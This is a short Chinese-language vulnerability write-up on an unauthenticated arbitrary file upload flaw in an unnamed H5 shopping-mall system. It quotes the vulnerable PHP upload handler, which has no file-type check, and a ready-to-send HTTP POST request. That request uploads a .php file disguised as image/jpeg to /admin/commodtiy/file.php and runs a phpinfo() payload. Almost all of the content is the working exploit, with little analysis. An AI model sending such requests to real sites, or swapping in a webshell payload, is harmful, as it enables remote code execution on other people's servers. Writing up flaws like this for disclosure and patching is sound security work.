某全新H5购物商城系统存在前台任意文件上传漏洞(RCE)

<?phpif($_GET['upload']){    // 获取上传的文件名$file = pathinfo($_FILES['file']['name']);//获取上传文件的后缀$file_hz= $file['extension'];//以当前时间来拼接一个文件名$file_date = date('Ymdhis');$file_name = $file_date . '.' . $file_hz;//判断当前目录下是否有upload这个文件没有就创建一个$path = 'upload/';$file_path=file_exists($path);if(!$file_path){    mkdir($path);}//如果有上传文件为就执行下面代码if(is_uploaded_file($_FILES['file']['tmp_name'])){    //将上传的临时tmp文件移动到指定位置，并且已指定的file_name来命名文件，成功就echo输出移动后的文件位置。    if(move_uploaded_file($_FILES['file']['tmp_name'],$path.$file_name)){        // echo "当前文件保存路径为:".$_FILES['file']['tmp_name'],$path.;        // echo '文件上传成功';        echo json_encode('/admin/commodtiy/upload/'.$file_name);    } else {        echo '文件上传失败';    }} else {    echo '文件不存在';}}?>

POST /admin/commodtiy/file.php?upload=1 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 197Content-Type: multipart/form-data; boundary=------WebKitFormBoundary03rNBzFMIytvpWhyCookie: Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1731328644; PHPSESSID=nbkea3f11cmfad1qhfcm29aqn7; thinkphp_show_page_trace=0|0; bh_myaction=Index%2Findex; _ga=GA1.1.2095806093.1731475984; _gid=GA1.1.546134623.1731475984; yzm=G2DDHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/admin/commodtiy/file.php?uploadSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--